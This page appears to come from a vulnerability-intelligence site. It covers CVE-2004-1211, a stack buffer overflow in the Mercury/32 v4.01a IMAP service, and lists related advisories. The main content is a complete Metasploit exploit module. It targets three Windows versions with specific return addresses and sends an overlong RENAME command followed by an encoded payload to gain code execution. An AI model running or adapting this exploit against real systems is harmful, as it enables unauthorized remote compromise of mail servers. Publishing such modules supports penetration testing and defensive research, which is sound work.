Mercury/32 v4.01a IMAP RENAME Buffer Overflow in Window
Reporter | Title | Published | Views | Family All 15 |
---|---|---|---|---|
![]() | CVE-2004-1211 | 15 Dec 200405:00 | – | cvelist |
![]() | CVE-2007-5018 | 20 Sep 200721:00 | – | cvelist |
![]() | Mercury Mail Remote IMAP Server Remote Overflow | 30 Nov 200400:00 | – | nessus |
![]() | CVE-2004-1211 | 10 Jan 200505:00 | – | cve |
![]() | CVE-2007-5018 | 20 Sep 200721:17 | – | cve |
![]() | Mercury/32 Mail Server 4.01a - IMAP RENAME Buffer Overflow (Metasploit) | 9 May 201000:00 | – | exploitdb |
![]() | CVE-2004-1211 | 10 Jan 200505:00 | – | nvd |
![]() | CVE-2007-5018 | 20 Sep 200721:17 | – | nvd |
![]() | Mercury Mail IMAP DELETE command buffer overflow | 18 Sep 200600:00 | – | saint |
![]() | Mercury Mail IMAP DELETE command buffer overflow | 18 Sep 200600:00 | – | saint |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Imap
def initialize(info = {})
super(update_info(info,
'Name' => 'Mercury/32 v4.01a IMAP RENAME Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow vulnerability in the
Mercury/32 v.4.01a IMAP service.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2004-1211'],
[ 'OSVDB', '12508'],
[ 'BID', '11775'],
[ 'URL', 'http://www.nessus.org/plugins/index.php?view=single&id=15867'],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 500,
'BadChars' => "\x00\x0a\x0d\x20",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
['Windows 2000 SP4 English', { 'Ret' => 0x7846107b }],
['Windows XP Pro SP0 English', { 'Ret' => 0x77dc0df0 }],
['Windows XP Pro SP1 English', { 'Ret' => 0x77e53877 }],
],
'DisclosureDate' => '2004-11-29'))
end
def check
connect
resp = sock.get_once
disconnect
if (resp =~ /Mercury\/32 v4\.01a/)
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
def exploit
connect_login
sploit = "a001 RENAME " + rand_text_alpha_upper(260)
sploit << [target.ret].pack('V') + payload.encoded
sock.put(sploit)
handler
disconnect
end
end
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo